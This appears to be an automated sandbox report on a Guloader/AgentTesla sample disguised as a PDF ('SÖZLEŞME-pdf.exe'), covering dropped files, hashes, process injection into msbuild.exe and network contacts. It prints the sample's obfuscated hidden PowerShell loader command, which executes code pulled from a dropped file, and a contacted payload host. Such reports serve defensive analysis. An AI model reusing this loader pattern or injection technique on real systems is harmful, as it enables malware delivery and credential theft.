Analysis Overview
SHA256
3c0a5c75a24724f85305ffe4831cc0303f9eaa1e2b3a897a91cb808429b34845
Threat Level: Known bad
The file SÖZLEŞME-pdf.exe was found to be: Known bad.
Malicious Activity Summary
Guloader,Cloudeye
AgentTesla
Suspicious use of NtCreateThreadExHideFromDebugger
Suspicious use of NtSetInformationThreadHideFromDebugger
Suspicious use of SetThreadContext
Drops file in System32 directory
Drops file in Windows directory
Drops file in Program Files directory
Enumerates physical storage devices
Program crash
Suspicious use of WriteProcessMemory
Suspicious use of AdjustPrivilegeToken
Suspicious behavior: EnumeratesProcesses
Suspicious behavior: MapViewOfSection
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2023-12-07 07:30
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2023-12-07 07:30
Reported
2023-12-07 07:32
Platform
win7-20231023-en
Max time kernel
148s
Max time network
126s
Command Line
Signatures
AgentTesla
Guloader,Cloudeye
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 800 set thread context of 2796 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File created | C:\Program Files (x86)\cockling.lnk | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File opened for modification | C:\Program Files (x86)\cockling.lnk | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Kldebonnets.kod | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\bagvognen.lnk | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File opened for modification | C:\Windows\Calottes.Doo | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File opened for modification | C:\Windows\bagvognen.lnk | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$bungfu=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Dispersionerne.Amb77';$Sjusserne=$bungfu.SubString(50752,3);.$Sjusserne($bungfu)"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | spsc.sudurpashchim.gov.np | udp |
| NP | 202.45.144.24:80 | spsc.sudurpashchim.gov.np | tcp |
Files
C:\Users\Admin\AppData\Local\Temp\Rkkens.ini
| MD5 | a8ca1db6ae34f5e5c152094f44f92476 |
| SHA1 | 9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7 |
| SHA256 | 1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3 |
| SHA512 | e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a |
memory/800-143-0x0000000002680000-0x00000000026C0000-memory.dmp
memory/800-142-0x00000000743A0000-0x000000007494B000-memory.dmp
memory/800-141-0x00000000743A0000-0x000000007494B000-memory.dmp
memory/800-144-0x0000000002680000-0x00000000026C0000-memory.dmp
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Dispersionerne.Amb77
| MD5 | 6f471e56b57ed402dd3d0659e4c4489e |
| SHA1 | e3f351b01dd96b408599c1165786635d2332012f |
| SHA256 | 7834c9ab2a3f5f0c1d945474a350d8cc1437502931ef6f115c3a77869ae3ba01 |
| SHA512 | 06773bd5be240c213dc54dc1e4dc2a0f0da40335c15dd93639e8aa4da6a279fa321f395399bb115ed17c6585fc9e2bba3bfca2255bcb02c4f553f9a748ceb8d4 |
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Autumn.Fil
| MD5 | 07f672cc4e0e8d3856b4324b80b59275 |
| SHA1 | 596ceb4b0a3be1029c2be0f633b2f5f4734c4fc0 |
| SHA256 | a32785d716991ef0b1ab3af1ba58a5d90fbc03a30431d0ff2d538d0bb2cfc5c3 |
| SHA512 | 58a692f5347eada5fa9a97cc5f85b2a4c46419c14b8d0cb67c5d4a6a464b5f2b942ac1c6b10efb0d5a2b7c0f291d85dd8a4878c06fe7996ae6df829bd274354d |
memory/800-148-0x00000000026D0000-0x00000000026D4000-memory.dmp
memory/800-149-0x0000000006160000-0x0000000007108000-memory.dmp
memory/800-150-0x00000000743A0000-0x000000007494B000-memory.dmp
memory/800-151-0x0000000006160000-0x0000000007108000-memory.dmp
memory/800-152-0x0000000002680000-0x00000000026C0000-memory.dmp
memory/800-153-0x0000000077B10000-0x0000000077CB9000-memory.dmp
memory/800-155-0x0000000077D00000-0x0000000077DD6000-memory.dmp
memory/800-156-0x0000000006160000-0x0000000007108000-memory.dmp
memory/2796-157-0x0000000000910000-0x00000000018B8000-memory.dmp
memory/2796-158-0x0000000077B10000-0x0000000077CB9000-memory.dmp
memory/2796-159-0x000000006FE90000-0x0000000070EF2000-memory.dmp
memory/2796-160-0x0000000000910000-0x00000000018B8000-memory.dmp
memory/800-161-0x0000000006160000-0x0000000007108000-memory.dmp
memory/2796-162-0x000000006F7A0000-0x000000006FE8E000-memory.dmp
memory/2796-163-0x0000000000910000-0x00000000018B8000-memory.dmp
memory/2796-164-0x000000006FE90000-0x000000006FED0000-memory.dmp
memory/2796-166-0x000000001FDD0000-0x000000001FE10000-memory.dmp
memory/2796-169-0x000000006F7A0000-0x000000006FE8E000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2023-12-07 07:30
Reported
2023-12-07 07:32
Platform
win10v2004-20231127-en
Max time kernel
142s
Max time network
150s
Command Line
Signatures
AgentTesla
Guloader,Cloudeye
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\SysWOW64\Haglskadeforsikring\Miljankenvnet.ini | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
Suspicious use of NtCreateThreadExHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
Suspicious use of NtSetInformationThreadHideFromDebugger
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
Suspicious use of SetThreadContext
| Description | Indicator | Process | Target |
| PID 1212 set thread context of 4956 | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe |
Drops file in Program Files directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Program Files (x86)\Common Files\integraltegnets\substrate.Ski | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File created | C:\Program Files (x86)\cockling.lnk | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File opened for modification | C:\Program Files (x86)\cockling.lnk | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File opened for modification | C:\Program Files (x86)\Kldebonnets.kod | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
Drops file in Windows directory
| Description | Indicator | Process | Target |
| File created | C:\Windows\bagvognen.lnk | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File opened for modification | C:\Windows\Calottes.Doo | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
| File opened for modification | C:\Windows\bagvognen.lnk | C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe | N/A |
Enumerates physical storage devices
Program crash
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WerFault.exe | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
| N/A | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
Suspicious behavior: MapViewOfSection
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeDebugPrivilege | N/A | C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe
"C:\Users\Admin\AppData\Local\Temp\SÖZLEŞME-pdf.exe"
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"powershell.exe" -windowstyle hidden "$bungfu=Get-Content 'C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Dispersionerne.Amb77';$Sjusserne=$bungfu.SubString(50752,3);.$Sjusserne($bungfu)"
C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 4956 -ip 4956
C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 4956 -s 1920
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 241.154.82.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 240.221.184.93.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 2.136.104.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.1.85.104.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 43.58.199.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 59.128.231.4.in-addr.arpa | udp |
| US | 8.8.8.8:53 | tse1.mm.bing.net | udp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 204.79.197.200:443 | tse1.mm.bing.net | tcp |
| US | 8.8.8.8:53 | 200.197.79.204.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 146.78.124.51.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.31.95.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | spsc.sudurpashchim.gov.np | udp |
| NP | 202.45.144.24:80 | spsc.sudurpashchim.gov.np | tcp |
| US | 8.8.8.8:53 | 24.144.45.202.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 18.173.189.20.in-addr.arpa | udp |
Files
C:\Users\Admin\AppData\Local\Temp\Rkkens.ini
| MD5 | a8ca1db6ae34f5e5c152094f44f92476 |
| SHA1 | 9fe0fd4e6907c4f9099d2533c3bade4ffa0968e7 |
| SHA256 | 1f0dbc97d6570f2f5a1e18f82842c9a0007e568ca8fb768c123637ef5077aad3 |
| SHA512 | e48e987e1f8297b17f7fb5b8b34da6131156834310987600b20b0dcff4c43632ccb4b2305030a4a999f783176d480c8300e6aef92afbb2032379eca6dac88b5a |
memory/1212-139-0x0000000002C30000-0x0000000002C66000-memory.dmp
memory/1212-140-0x0000000073C10000-0x00000000743C0000-memory.dmp
memory/1212-142-0x00000000051B0000-0x00000000051C0000-memory.dmp
memory/1212-141-0x00000000051B0000-0x00000000051C0000-memory.dmp
memory/1212-143-0x00000000057F0000-0x0000000005E18000-memory.dmp
memory/1212-144-0x0000000005160000-0x0000000005182000-memory.dmp
memory/1212-145-0x0000000005530000-0x0000000005596000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lry5qu33.430.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/1212-151-0x00000000055A0000-0x0000000005606000-memory.dmp
memory/1212-156-0x0000000005E20000-0x0000000006174000-memory.dmp
memory/1212-157-0x00000000062A0000-0x00000000062BE000-memory.dmp
memory/1212-158-0x00000000062F0000-0x000000000633C000-memory.dmp
memory/1212-159-0x00000000051B0000-0x00000000051C0000-memory.dmp
memory/1212-160-0x0000000006880000-0x0000000006916000-memory.dmp
memory/1212-161-0x00000000067D0000-0x00000000067EA000-memory.dmp
memory/1212-162-0x00000000067F0000-0x0000000006812000-memory.dmp
memory/1212-163-0x0000000007AD0000-0x0000000008074000-memory.dmp
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Dispersionerne.Amb77
| MD5 | 6f471e56b57ed402dd3d0659e4c4489e |
| SHA1 | e3f351b01dd96b408599c1165786635d2332012f |
| SHA256 | 7834c9ab2a3f5f0c1d945474a350d8cc1437502931ef6f115c3a77869ae3ba01 |
| SHA512 | 06773bd5be240c213dc54dc1e4dc2a0f0da40335c15dd93639e8aa4da6a279fa321f395399bb115ed17c6585fc9e2bba3bfca2255bcb02c4f553f9a748ceb8d4 |
memory/1212-165-0x0000000008700000-0x0000000008D7A000-memory.dmp
C:\Users\Admin\AppData\Roaming\gregerss\dagbger\Autumn.Fil
| MD5 | 07f672cc4e0e8d3856b4324b80b59275 |
| SHA1 | 596ceb4b0a3be1029c2be0f633b2f5f4734c4fc0 |
| SHA256 | a32785d716991ef0b1ab3af1ba58a5d90fbc03a30431d0ff2d538d0bb2cfc5c3 |
| SHA512 | 58a692f5347eada5fa9a97cc5f85b2a4c46419c14b8d0cb67c5d4a6a464b5f2b942ac1c6b10efb0d5a2b7c0f291d85dd8a4878c06fe7996ae6df829bd274354d |
memory/1212-168-0x00000000077A0000-0x00000000077A4000-memory.dmp
memory/1212-169-0x0000000008D80000-0x0000000009D28000-memory.dmp
memory/1212-170-0x0000000008D80000-0x0000000009D28000-memory.dmp
memory/1212-171-0x0000000073C10000-0x00000000743C0000-memory.dmp
memory/1212-173-0x00000000051B0000-0x00000000051C0000-memory.dmp
memory/1212-174-0x00000000051B0000-0x00000000051C0000-memory.dmp
memory/1212-175-0x00000000051B0000-0x00000000051C0000-memory.dmp
memory/1212-176-0x0000000077871000-0x0000000077991000-memory.dmp
memory/4956-177-0x0000000000BB0000-0x0000000001B58000-memory.dmp
memory/1212-178-0x0000000008D80000-0x0000000009D28000-memory.dmp
memory/4956-179-0x00000000778F8000-0x00000000778F9000-memory.dmp
memory/4956-180-0x0000000077871000-0x0000000077991000-memory.dmp
memory/4956-181-0x000000006EA10000-0x000000006FC64000-memory.dmp
memory/4956-182-0x0000000000BB0000-0x0000000001B58000-memory.dmp
memory/1212-184-0x0000000073C10000-0x00000000743C0000-memory.dmp
memory/4956-185-0x000000006EA10000-0x000000006EA50000-memory.dmp
memory/1212-187-0x0000000008D80000-0x0000000009D28000-memory.dmp
memory/4956-186-0x0000000073C10000-0x00000000743C0000-memory.dmp
memory/4956-188-0x000000001FD40000-0x000000001FD50000-memory.dmp
memory/4956-189-0x0000000000BB0000-0x0000000001B58000-memory.dmp
memory/4956-192-0x0000000073C10000-0x00000000743C0000-memory.dmp